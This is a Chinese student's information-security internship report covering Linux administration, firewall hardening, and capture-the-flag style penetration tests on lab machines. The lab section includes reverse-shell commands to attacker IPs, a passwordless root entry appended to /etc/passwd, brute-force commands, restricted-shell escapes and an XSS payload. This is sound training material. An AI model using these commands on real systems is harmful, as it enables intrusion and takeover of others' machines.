保持专业素养和技术能力：信息安全工程师应该不断学习和提升自己的专业知识和技术能力，保持对最新安全威胁和漏洞的了解，并采取相应的措施来应对和防范。  3. 诚实守信：信息安全工程师应该始终保持诚实守信的原则，不得从事任何违法、欺诈或不道德的活动，如盗取他人信息、故意破坏系统等。  4. 保密和保护商业机密：信息安全工程师应该严守职业保密的原则，保护企业的商业机密和客户的机密信息，不得泄露或滥用这些信息。  5. 尊重他人权益：信息安全工程师应该尊重他人的权益和隐私，不得进行恶意攻击、网络欺诈或侵犯他人的合法权益。  6. 合规与合法操作：信息安全工程师应该遵守相关法律法规和行业规范，确保自己的操作合法合规，不得从事非法或违规的活动。  7. 敬业精神和责任心：信息安全工程师应该对自己的工作充满敬业精神，承担起对信息安全的责任，确保系统和网络的安全运行。   1. **团队协作情况（不填写）**   3.1项目组成员及分工情况  （简要介绍）（内容小四，宋体）  3.2 项目组成员进行交流情况  （例如：团队成员能够进行有效的交流，分析项目需求，形成解决方案，各成员间能按照项目分工协调工作。）  3.3 项目组的团队协作情况  （例如：能够担任团队负责人，承担团队管理职责，指挥团队开展工作，评审工作进度、必要时进行任务、资源重新分配，确保按时完成小组任务。）  **注意：团队部分需要重视，在实习报告评阅成绩中占重要比例**。   1. **实习项目**    1. Linux操作系统命令及其相关知识   4.1.1操作系统简介及功能  操作系统是管理硬件和软件的一种应用程序。  操作系统是运行在计算机上最重要的一种软件, 它管理计算机的资源和进程以及所有的硬件和软件。  它为计算机硬件和软件提供了一种中间层， 使应用软件和硬件进行分离,让我们无需关注硬件的实现，把关注点更多放在软件应用上。  操作系统的主要功能:  进程管理:进程管理的主要作用就是任务调度,在单核处理器下，操作系统会为每个进程分配一个任务, 进程管理的工作十分简  单;而在多核处理器下，操作系统除了要为进程分配任务外，还要解决处理器的调度、分配和回收等问题  内存管理:内存管理主要是操作系统负责管理内存的分配、回收,在进程需要时分配内存以及在进程完成时回收内存，协调内存资  源，通过合理的页面置换算法进行页面的换入换出  设备管理:根据确定的设备分配原则对设备进行分配，使设备与主机能够并行工作，为用户提供良好的设备使用界面。  文件管理:有效地管理文件的存储空间，合理地组织和管理文件系统,为文件访问和文件保护提供更有效的方法及手段。  提供用户接口:操作系统提供了访问应用程序和硬件的接口，使用户能够通过应用程序发起系统调用从而操纵硬件，实现想要的功  能。  4.1.2基本命令  yum = 下载安装命令  ls = 位置，双击  cd = 进入文件夹  mkdir = 创建一个文件夹  rm = 删除  su = 用户（拥有最大权限）  vim = 打开文件  i = 编辑文件  ESC + !q = 强制不保存修改后退出  ESC+!wq =强制保存修改后推出  1）ls ：列出查看  2）cd: 移动切换位置  3）pwd: 查看绝对路径  4）who: 查看当前用户  5）hosname: 修改主机名称  1 .切换目录（cd）  cd / //切换到根目录  cd /bin //切换到根目录下的bin目录  cd ../ //切换到上一级目录 或者使用命令：cd ..  cd ~ //切换到home目录  cd - //切换到上次访问的目录  cd xx(文件夹名) //切换到本目录下的名为xx的文件目录，如果目录不存在报错  cd /xxx/xx/x //可以输入完整的路径，直接切换到目标目录，输入过程中可以使用tab键快速补全  2 .查看目录（ls）  ls //查看当前目录下的所有目录和文件  ls -a //查看当前目录下的所有目录和文件（包括隐藏的文件）  ls -l //列表查看当前目录下的所有目录和文件（列表查看，显示更多信息），与命令"ll"效果一样  ls /bin //查看指定目录下的所有目录和文件  ls -R //递归，层层往下  3 创建目录（mkdir）  mkdir tools //在当前目录下创建一个名为tools的目录  mkdir /bin/tools //在指定目录下创建一个名为tools的目录  4 修改目录（mv）  mv 当前目录名 新目录名 //修改目录名，同样适用与文件操作  mv /usr/tmp/tool /opt //将/usr/tmp目录下的tool目录剪切到 /opt目录下面  mv -r /usr/tmp/tool /opt //递归剪切目录中所有文件和文件夹  5 拷贝目录（cp）  cp /usr/tmp/tool /opt //将/usr/tmp目录下的tool目录复制到 /opt目录下面  cp -r /usr/tmp/tool /opt //递归剪复制目录中所有文件和文件夹  6 新增文件（touch）  touch a.txt //在当前目录下创建名为a的txt文件（文件不存在），如果文件存在，将文件时间属性修改为当前系统时间  语法格式：  命令（要做什么） 选项（辅助命令） 参数（目标对象）  ls -a /tmp/  cd ~= 回到根目录  cd .. = 回到上一级  reboot ：重启  每次重启后需要重新登录用户和ssh IP 地址  ip a:获得enss33的Ip地址  ssh ip地址 :重连地址  hostname：临时修改  hostnamectl ：永久修改  . =当前位置  ..=上一级位置  清屏 ：clear或者 CTRL+L  改变主机名称：  [root@a ~]# hostname localhost  [root@a ~]# su -  4.1.3文件管理  文件类型  普通文件: Linux中最多的一种文件类型，第一个属性为[-]  目录文件:就是目录， 能用cd命令进入的。第一个属性为[d]  链接文件:类似Windows下面的快捷方式。第一个属性为[1]  文件的管理:增(创建)、删(删除)、改(修改)、查(查看)  ">"为覆盖符，覆盖之前写入内容  “>>”为补充符，接着之前写入的继续写  注意：echo只能打印内容到普通文件，不能写入目录文件  mkdir 创建目录文件  Touch: 创建普通文件  cat：适合查看小型文件  小型文件：1个屏幕能装下，  less：适合查看大型文件，使用上下左右键调整翻页，按q退出  大型文件：1个屏幕装不下  一般使用 head 和 tail来查看文件  **VI编辑器**  1.为了编辑文档，vim和vi没有什么区别，只是多了一个字体附带颜色的功能，进入命令模式  2.按i进入编辑模式  3.按ESC进入末行模式  4.1.4用户管理  1.用户：账户  2.用户组 ：多个用户的集合/便于对用户进行权限的集中管理  超级管理员： root 权限最大  普通用户： 非root 权限小  who ：root可查看登录记录  创建用户并查看：  useradd u1  id u1  /etc/passwd为系统用户文件  记录着所有用户信息  以：为分割符分成了7段  1.用户名 张三  2.密码占位符 统一X，不显示密码  3.UID 用户ID，类学号  4.GID 小组ID，某某班级  5.描述信息 一般不写  6.家目录 住哪，宿舍  7.登录shell 状态  创建用户并修改密码：  useradd u1  passwd u1  删除用户  userdel u1 //删除用户  user -r u1 //删除用户以及其相关目录文件（即家目录）可以干净的删除用户  限制用户  ls /home/ //家目录  rm -rf /home/u1 //家目录里面有u1无法登录  useradd -M u1 //创建用户但没有家目录  创建用户组  groupadd g1  删除用户组  groupdel g1  查看用户组  id user01 //g1为用户user01的主要组  编辑用户组管理文件  vi /etc/group  gpasswd: 对小组用户进行管理  添加用户到组里  gpasswd -a u1 z1 //将用户u1加入到用户组z1中  从组里删除用户  gpasswd -d u1 z1  查看组内用户  grep "z1" /etc/group  4.1.5权限管理  UGO权限  1.UGO权限是针对系统 文件 进行权限管理  2.U: 用户 G:小组 O:其他人  权限：  r : 读取  w : 写入  x : 执行  “-“: 无权限  顺序： rwx  修改所有者:  chown u1:root file01 //若file01为普通文件则不用加  **改变权限**：  减去读取权限  chmod u-r /file01  加上写权限  chmod u+w /file01  等价于权限  chmod u=rwx /file01  将u1的组号改为u1：  chown u1：u1 /file01  执行权限x对于普通文件来说没有意义，系统默认不需要  执行权限x对于目录文件来说有意义，限制用户是否可以切换移动到目录内部，有x权限可以切换，反之不行  **777数字表示法：**  r：4 w:2 x:1  **ACL权限**  UGO的权限划分范围太少，因此需要划定更多范围  给予用户qq更多权限，给它特殊范围并查看文件权限：  setfacl -m u:qq:r-- 1.txt  get facl 1.txt  4.1.6服务  《本地仓库部署- -httpd服务》  在linux系统中，我们需要安装一些服务，但也有一些例外，比如SSH服务,这种属于本来默认就装好的。  httpd服务，就要额外安装。  window需要迅雷，需要种子文件，需要磁力链接  yum软件包管理器，在仓库中下载资源  linux系统的资源，一般在几个地方  1.网上（网络源） 阿里源  2.本地（本地源） 镜像文件  4.1.7防火墙  **Iptables防火墙:**  iptables概述:  netfilter/iptables (简称为iptables)组成Linux平台下的包过滤防火墙。  与大多数的Linux软件-一样，这个包过滤防火墙是免费的，它可以代替昂贵的商业防火墙解决方案，完成封包过滤、封包重定等工作。  iptables和netfilter的关系:  Iptables和netfilter的关系是- - 个很容易让人搞不清的问题。很多的知道iptables却不知道netfilter。  其实iptables只是Linux防火墙的管理工具而已，位于/sbin/ iptables。  真正实现防火墙功能的是netfilter，它是Linux内核中实现包过滤的内部结构。  **Firewalld防火墙:**  (1)包过滤防火墙(packet filtering )  (2)应用代理防火墙( application proxy )  (3)状态检测防火墙(stateful inspection)  firewalld和iptables 都是包过滤防火墙!  包过滤防火墙概述:  (1) netfilter: 位于Linux内核中的包过滤功能体系，成为Linux防火墙的“内核态”。  (2) firewalld: CentOS7默认的管理防火墙规则的工具，成为Linux防火墙的“用户态”。  一上面的两种称呼都可以表示为Linux防火墙。  包过滤的工作层次:  (1)主要是网络层，针对IP数据包、检查源IP。  (2)体现在对包内的IP地址、端口等信息的处理上。  Linux服务器主要用于对互联网提供某种服务或作为内部局域网的网关服务器。   * 1. 小项目任务   项目需求:  新建2~3台虚拟机，其中一台作为服务端（httpd），另外1台或两台作为客户端（Client），在服务端搭建httpd服务，在客户端对服务端进行访问测试，同时要求针对httpd服务节点，进行安全防护配置，要求客户端能够访问服务端页面，但尽量不要被攻击。  实现步骤:  1.用户管理：用户越多越难管理，因此给予root的权力最大，但同时也限制ssh的root远程登陆，密码不能为空，输入密码次数等等  2.权限管理 ：组内用户给予rw-的权利，root有rwx的权利，其他人r--（通过浏览器浏览http的时候也在看）  若有特殊需要增加权限的用户使用ACL原则添加特殊权限如rw-  3.服务：sshd服务：可以修改登录的默认端口号，以免被人识破 httpd服务：默认资源存放点需要再建以免被人盗取资源  4.防火墙：iptables和firewalld  iptables在写命令时需要精准到协议类型，表的类型，链的类型，具体ip地址（鉴于其他人太多，因此可以适当放宽标准，如写入内网地址等等）  firewalld的话，在服务文件里面要尽可能写的详细，如协议类型，端口，既然是为防止被攻击，那么除了curl的指令能够访问成功，其他诸如ping和ssh服务都需要被禁止  （http默认端口：80）  项目总结:  这次的小项目算是把我们这几天学的内容都用上了，用户管理，权限管理，服务，防火墙以及各类命令的使用和文件的管理方式，在写项目的过程中，我作为一个伪网络安全工程师（？），也算是脱离了用户的角度，站在了一个新的视角去看网络安全，总结一下就是无时无刻不想着防攻击。  ​ 初期准备思路时因为过于紧张的“守”的理念，UGO原则中我赋予其他用户的权利是“---”，后来老师点醒我这毕竟还是一个能让客户端访问的网站，其他用户不可能什么权限都没有，后来修改成了“r--”,有了读的权限，我一共创建了3个用户：root，u1,u2,其中root的权限毋庸置疑是“rwx”，u1被我划分到组g1中，而小组成员所拥有的权限是“rw-”，至于u2则作为其他人只拥有读的权限，使用ssh远程登陆时，需要注意四点：1.用户名 2.密码 3.ip地址 4.端口号，由此层层加密，在sshd服务的配置文件中我设立了更为严苛的登录条件，如只允许尝试登录两次，登录时长为1min，root不能够远程登陆，密码不能为空等等。  ​ 其次就是端口号的问题由于默认端口号是22，人尽皆知，因此需要自定义ssh登录端口号，这里我设置的是122，后面就是在服务端搭建httpd服务了，由于httpd的资源文件也是存在默认地址：/var/www/html中，需要修改以防资源被盗用，我修改为了/web/www/html,在这里还有个小插曲，我在修改完以后一直提醒我没有看的权利，于是我寻找了每一级目录，查看其他人的权限看看是不是少了什么，这也让我顺势检查并修改了各个用户对于/web/www/html/httpd服务器端网页/1.html的权限与上述用户权限管理重复这里不再赘述。  ​ 最后就是防火墙问题了，由于我一开始的诉求就是除了能访问网页，其他都不允许，所以选了firewalld防火墙，firewalld防火墙默认拒绝访问，因此我只要删除原有的不需要的服务加上httpd服务就可以了，在这里又巩固了防火墙的知识，并了解到了rich rules的用法,用来禁止ping，同时基于安全的考虑，只有在子网192.169.31.0/24范围的IP地址才能访问网页，加强了防护。  ​ 总之，这一次写小项目算是把这几天的所学知识串连在了一起，相当于一次巩固，说到网页希望以后也能用linux操作系统写出好看的网页。   * 1. 靶机的搭建与渗透测试及各种工具的使用      1. SQL注入   在MySQL中，把 information\_schema 看作是一个数据库，确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权限等。在INFORMATION\_SCHEMA中，有数个只读表。它们实际上是视图，而不是基本表，因此，你将无法看到与之相关的任何文件。  information\_schema数据库表说明:  SCHEMATA表：提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。  TABLES表：提供了关于数据库中的表的信息（包括视图）。详细表述了某个表属于哪个schema，表类型，表引擎，创建时间等信息。是show tables from schemaname的结果取之此表。  COLUMNS表：提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。  STATISTICS表：提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。  USER\_PRIVILEGES（用户权限）表：给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。  SCHEMA\_PRIVILEGES（方案权限）表：给出了关于方案（数据库）权限的信息。该信息来自mysql.db授权表。是非标准表。  TABLE\_PRIVILEGES（表权限）表：给出了关于表权限的信息。该信息源自mysql.tables\_priv授权表。是非标准表。  COLUMN\_PRIVILEGES（列权限）表：给出了关于列权限的信息。该信息源自mysql.columns\_priv授权表。是非标准表。  CHARACTER\_SETS（字符集）表：提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。  COLLATIONS表：提供了关于各字符集的对照信息。  COLLATION\_CHARACTER\_SET\_APPLICABILITY表：指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。  TABLE\_CONSTRAINTS表：描述了存在约束的表。以及表的约束类型。  KEY\_COLUMN\_USAGE表：描述了具有约束的键列。  ROUTINES表：提供了关于存储子程序（存储程序和函数）的信息。此时，ROUTINES表不包含自定义函数（UDF）。名为“mysql.proc name”的列指明了对应于INFORMATION\_SCHEMA.ROUTINES表的mysql.proc表列。  VIEWS表：给出了关于数据库中的视图的信息。需要有show views权限，否则无法查看视图信息。  TRIGGERS表：提供了关于触发程序的信息。必须有super权限才能查看该表。   * + 1. 信息收集   主动信息收集:  参数  -0：指定源地址为0.0.0.0，这个一般是在我们刚刚安装好系统，电脑还没配置好IP的时候  -a：Audible ping.这个当有reply回来的时候，你的电脑有喇叭的话，就会滴滴的叫  -A：Only count addresses matching requested address  -b：类似-0，指定源broadcast为255.255.255.255  -B：指定这个就相当于 arping 255.255.255.255  -c count：发送指定数量的arp包后，即停止退出  -d：这个比较重要，当局域网有IP占用的时候，可以指定这个参数，当有相同的IP的不同MAC地址reply的时候，arping会退出，退出码为1  -D：这个检测是否丢包的，当丢包的时候打印感叹号，正常的时候打印逗号  -e：和-a相反，当没有reply的时候，会滴滴滴  -p：打开混杂模式，当前用户对mac无权限时，可以加上这个选  -r：输出的时候只打印MAC，写脚本的时候用得到，不用自己对结果awk了  -R：输出的时候只打印IP，和上面一样  -s MAC：指定源MAC地址  -S IP：指定源IP，设置了源IP，如果目标主机没有到源IP的route，则有可能收不到answer  -t MAC：指定目的MAC  -T IP：指定目的IP，  -i interface：指定发送arp包的设备。不指定的话，默认为系统的第一块网卡  -q：表示不打印输出，写脚本不想打印输出的时候，应该用的到  -u：没啥大用，结果显示的时候，加这个参数和不加，index的显示形式不同  -v：打印详细的输出，默认打印的好像就是verbose  -w deadline：指定两个ping直接的时间间隔，单位为毫秒，默认为1秒  被动信息收集:  IP地址段  • 域名信息  • 邮件地址  • 文档图⽚数据  • 公司地址  • 公司组织架构  • 联系电话 / 传真号码 社会工程学  • 人员姓名 / 职务  • 目标系统使⽤用的技术架构  • 公开的商业信息  Whois查询  http://whois.chinaz.com/ 站长之家  Kali whois查询   * + 1. Nmap扫描   1 Nmap介绍  Nmap基本命令和典型用法  · 全面进攻性扫描（包括各种主机发现、端口扫描、版本扫描、OS扫描及默认脚本扫描）:  nmap -A -v targetip  · Ping扫描:  nmap -sn -v targetip  · 快速端口扫描:  nmap -F -v targetip  · 版本扫描:  nmap -sV -v targetip  · 操作系统扫描:  nmap -O -v targetip  Nmap是一款开源免费的网络发现（Network Discovery）和安全审计（Security Auditing）工具。软件名字Nmap是Network Mapper的简称。Nmap最初是由Fyodor在1997年开始创建的。随后在开源社区众多的志愿者参与下，该工具逐渐成为最为流行安全必备工具之一。一般情况下，Nmap用于列举网络主机清单、管理服务升级调度、监控主机或服务运行状况。Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。  Nmap的优点：  1.灵活。支持数十种不同的扫描方式，支持多种目标对象的扫描。  2.强大。Nmap可以用于扫描互联网上大规模的计算机。  3.可移植。支持主流操作系统：Windows/Linux/Unix/MacOS等等；源码开放，方便移植。  4.简单。提供默认的操作能覆盖大部分功能，基本端口扫描nmap targetip，全面的扫描nmap –A targetip。  5.自由。Nmap作为开源软件，在GPL License的范围内可以自由的使用。  6.文档丰富。Nmap官网提供了详细的文档描述。Nmap作者及其他安全专家编写了多部Nmap参考书籍。  7.社区支持。Nmap背后有强大的社区团队支持。  8.赞誉有加。获得很多的奖励，并在很多影视作品中出现（如黑客帝国2、Die Hard4等）。  9.流行。目前Nmap已经被成千上万的安全专家列为必备的工具之一。   * + 1. Pikachu靶机   暴力破解  一个有效的字典可以大大提高暴力破解的效率  • 比如常用的用户名/密码TOP500  • 脱裤后的账号密码（社工库）  • 根据特定的对象（比如手机、生日和银行卡号等）按照指定的规则来生成密码  暴力破解流程  • 确认登录接口的脆弱性  ○ 尝试登录——抓包——观察验证元素和response信息，判断是否存在暴力破解的可能  • 对字典进行优化  ○ 根据实际情况对字典进行优化，提高暴力破解的效率  • 工具自动化操作  字典优化技巧  • 根据注册提示进行优化，比如注册时要求密码8位以上，我们就去掉少于8位的密码  • 爆破管理后台，账号是 admin / administrator / root 的可能是比较高，可以使用这3个账号进行爆破   * 1. 渗透实验介绍   4.4.1 CMS测试实验  CMS测试工具使用命令:  netdiscover -r 192.168.17.0/24  nmap -sV -p- 192.168.17.141 -O  nmap -sV -p- 192.168.17.141 -v  Rhosts设置靶机目标ip  输入whoami,pwd  Catfish中步骤为:  第一步:Catfish安装  第二步:输入管理员密码,邮箱,数据库密码  第三步:火狐浏览器进入前台注册用户登录普通用户后选择编辑图像上传图片  第四步:IE浏览器进入后台登录管理员  第五步:保存头像时抓包  第六步:将包发送到reapter后进行注入点的修改  第七步:修改为: "="alert(1)"=a"1.jpg  第八步:alert函数工作成功没有出现弹窗ctrl+u进入源代码查看,发现源代码中出现alert函数表示XXS注入成功  dc-1中步骤为:  获取到CMS使用的是Drupal（java开发框架）  使用msf（msfconsole ）工具尝试通过Drupal的漏洞getshell  命令：search drupal #查找drupal相关的模块  cat /var/www/sites/default/settings.php  成功获取到flag2和数据库的账号密码，根据flag2的提示我们需要继续提权（root）来访问敏感数据，也可以进行暴力破解  进入数据库查看  这里先使用python修改一下交互的方式，看着更舒服一点（python -c 'import pty;pty.spawn("/bin/bash")'）  命令为: mysql -udbuser -pR0ck3t #登录数据库  show databases; #数据库结束语带分号;  use drupaldb;  show tables;  desc users; #查看users表的字段  select name,pass from users; #查询users表中的name,pass这两个字段  执行：  scripts/password-hash.sh 666666  password: 666666 hash: $S$DVij9pvxENxl/jqEI6/djAN6zvbsQtWC.0ZlAiUoHiX4RaBpEAjp  update user set pass='$S$DSCenLaT8cgSrhfPkfup20zIQfQ/3q340rmu6VHHgXJOj8pv8gPa' where uid = 1;  提取成功之后去root家目录找一下敏感文件，在root的家目录找到一个名为thefinalflag.txt的文件，打开发现获取到了flag5  提取到flag5  4.4.2 DC系列实验  Dc-2攻破步骤:  1.netdiscover扫描同网段IP地址  2. Nmap扫描开放端口号:80,7744  3. 修改hosts文件  4. 识别CMS,破解用户名密码  5. 用cewl工具暴力破解,也可使用wpscan --url http://dc-2 --enumerate u命令扫描  6. wpscan --url http://dc-2/ -U dc\_2\_zhanghu.txt -P dc\_2.txt # 指定字典暴力破解密现在需要查询后台的登录地址  使用dirb（kali自带工具，基于字典的web目录扫描工具，可以查找现有和隐藏的Web对象）  扫描http://dc-2/码  dirb http://dc-2/ /usr/share/wordlists/dirb/big.txt  7. 扫描结果中第一个url地址:http://dc-2/wp-admin/是登陆的地址  进入登录网站  8. 我们首先是要获取一个webshell或者getshell，从后台管理页面并没有发现继续的办法，结合flag2又想到了前面扫到的那个ssh服务，这个ssh服务端口号为7744（shell原端口号为22）  我们尝试用破解出来的后台密码连接ssh，最终只有tom可以登录  ssh jerry@192.168.2.13 -p 7744  10. 显示Permission denied-许可被拒绝，猜测应该是相关的配置文件对该账号进行了ssh连接的限制，一般是针对root用户的  ssh jerry@192.168.2.13 -p 7744  显示Permission denied-许可被拒绝，猜测应该是相关的配置文件对该账号进行了ssh连接的限制，一般是针对root用户的  ssh tom@192.168.2.13 -p 7744 登陆成功  11. 通过实验我们发现可使用echo命令查看可用的命令有哪些,而当我们使用cat,vim,find等命令时会提示我们-rbash:command not found  12. BASH\_CMDS[a]=/bin/bash // 切换shell  a  /bin/bash // 添加$PATH，cat和su都在/bin下，sudo在/usr/bin下  export PATH=PATH:/sbin:/bin  13. 进行（su）切换用户提权 成功使用之前的得到的 jerry 用户的账号密码成功 su - 切换到jerry用户，并且发现可以 jerry 用户可以正常使用之前受限制的命令，并且成功从 jerry 的家目录下获取到 flag4  14. 在flag4中的最后一句提示里包含了一个git关机键字  15. 使用git提权,原理是git存在缓冲区溢出漏洞，在使用sudo git -p help时，不需要输入 root密码即可以root权限执行这条命令。  16. sudo -l # -l 列出目前用户可执行与无法执行的指令。  sudo git -p help  dc-4:  1.登录账户密码抓包,  2. nc -e /bin/sh 192.168.108.129 6868  3. python -c 'import pty;pty.spawn("/bin/bash")'  4.用九头蛇暴力破解jim的用户密码  hydra -l jim -P old\_password.bak ssh://dc-4 -v -f -e nr -t 64 //改为64线程更快  5. 远程登录jim切换jim账户  ssh jim@192.168.214 -p 22  6. 进入邮件目录: cd /var/spool/mail/  sudo -l //查看可以使用的命令  sudo teehee –help  echo "guagua::0:0:::/bin/bash" | sudo teehee -a /etc/passwd  4.4.3帝国突围实验  Breakout步骤: 用虚拟机打开后发现已给出靶机IP地址:192.168.2.15  攻击机IP地址是:192.168.2.11  直接用nmap搜索开放端口  此处注意靶机开通了msb服务,后续可通过此进行渗透  使用Brainfuck to Text解密Ook码  10000端口和20000端口为两个不同的登录页面,10000登录Web,20000登录用户  由于靶机开通smb服务,我们通过渗透获取登陆用户名和密码  我们可以收集有关靶机smb的信息  使用命令enum4linux可以收集大量的信息(穷举大法)  enum4linux 192.168.2.15  接下来准备提权  查看tar权限发现tar是可以运在/var/backups下发现了old-passwd密码本,可使用tar打包然后读取文件内容行的  //使用tar打包然后读取文件内容  ./tar -cvf pass.tar /var/backups/.old\_pass.bak //这里打包的时候一定要使用./tar，不然会提示没权限，因为没有加./代表的是你用的系统安装的tar不是这个目录下的tar  tar -xvf pass.tar  反弹一个shell,kali做端口监听:  bash -i >/dev/tcp/192.168.2.11/9999 0>&1  在/root目录下找到第二个flag  4.4.4实验  4.4.5实验   1. **项目管理情况（不填写）**   5.1项目管理的理解情况  （例如：理解软件项目生命周期模型情况，理解软件项目成本的构成及软件项目成本估算方法情况，理解软件项目管理的基本原理情况。）  5.2 项目管理的执行情况  （阐述根据项目需求、现有人力资源、资金资源等条件，综合考虑开发进度和开发效率，合理进行资源分配，并能够使用project或其它软件进行项目管理的情况。）   1. 总结    1. 项目技术总结   总之这接近3个星期的实训了解了各种渗透工具:如Nmap,中国蚁剑,burpsuite,御剑等工具的使用,以及各种靶机:如kali和win2008,pikachu,DVMA等等的搭建和使用,技术层面,基础的关于SQL注入,命令执行,文件上传,文件包含,日志分析等方面的知识有一个基础的了解,并能进行一定的操作。   * 1. 个人总结   信息安全实习是我在学习了各种渗透工具和靶机后的宝贵经历。通过实践和学习，我对信息安全领域的一些基础概念和技术有了更深入的了解。以下是我个人的总结和心得体会：  1. 工具的使用：在实习期间，我学习并熟练掌握了一些常用的渗透工具，如Nmap、中国蚁剑、Burp Suite和御剑等。这些工具在信息安全领域中起到了重要的作用，能够帮助我们发现系统的漏洞和弱点。通过实际操作，我学会了使用这些工具进行信息收集、漏洞扫描和渗透测试等任务。  2. 靶机的搭建与使用：为了更好地学习和实践，我搭建了一些常见的靶机环境，如Kali、Win2008、Pikachu和DVMA等。通过与这些靶机的交互，我能够更好地理解和应用各种攻击技术。同时，通过对靶机的搭建和配置，我也学到了一些系统安全的基本知识和技巧。  3. 技术层面的知识：在实习期间，我对一些常见的漏洞类型和攻击技术有了基础的了解，如SQL注入、命令执行、文件上传和文件包含等。我学会了如何分析和利用这些漏洞，并通过实践加深了对它们的理解。此外，我还学习了日志分析的基本方法，能够从日志中发现异常行为和潜在的安全威胁。  总的来说，信息安全实习让我对渗透测试和系统安全有了更深入的认识。通过实践和学习，我不仅掌握了一些常用的渗透工具和技术，还培养了一种主动发现和解决问题的能力。这也对于我未来就业的选择面做了进一步的扩充。  （包括：（1）个人完成项目情况，（2）项目中的团队协作情况，（3）个人在项目中的收获和体会等。） |

实习单位鉴定

|  |
| --- |
| 根据学生的实习情况，给出以下几个方面的鉴定：   1. **项目背景**   实习中，该学生能够对项目的意义和可能的社会影响进行较充分评估。  **评估等级：**优秀○ 良好○ 及格○ 不及格○   1. **职业道德**   实习中，该学生能够了解计算机技术工程师的责任，有正确的价值观，在工程实践中能自觉遵守职业道德和规范。  **评估等级：**优秀○ 良好○ 及格○ 不及格○   1. **团队情况**   实习中，该学生能够和团队成员进行较充分的交流；并能够较好地协调团队工作。  **评估等级：**优秀○ 良好○ 及格○ 不及格○   1. **项目管理情况**   实习中，该学生较好地运用了项目管理的基本原理和方法进行了项目管理工作；对项目资源的分配较合理，较好地达成了目标；  **评估等级：**优秀○ 良好○ 及格○ 不及格○  实习单位成绩鉴定(百分制) ： 分  负责人(签字) ： 单位(盖章) ：  2023 年 8 月 5 日 |

**填写说明**

1. **每一部分严格按照要求填写，且填写详细，达到字数要求。**
2. **实习计划：由集中实习教师统一填写**。
3. **实习日志**：需要根据相应的要求填写“*填写当日实习内容及完成情况 填写团队协作情况”，“填写在项目中的体会及收获 ”，“填写团队协作收获”等”*，需要达到**字数要求**。
4. **实习报告**：必须按照规定的内容进行撰写。且各章节内容要详细，**简单阐述不符合要求**。

**注：**实习报告是毕业实习成绩的**主要组成部分。**

1. **实习单位鉴定**：需由实习单位相应负责人填写并盖章，扫描后放于此。
2. **命名方式**：学号\_姓名\_实习手册2023.docx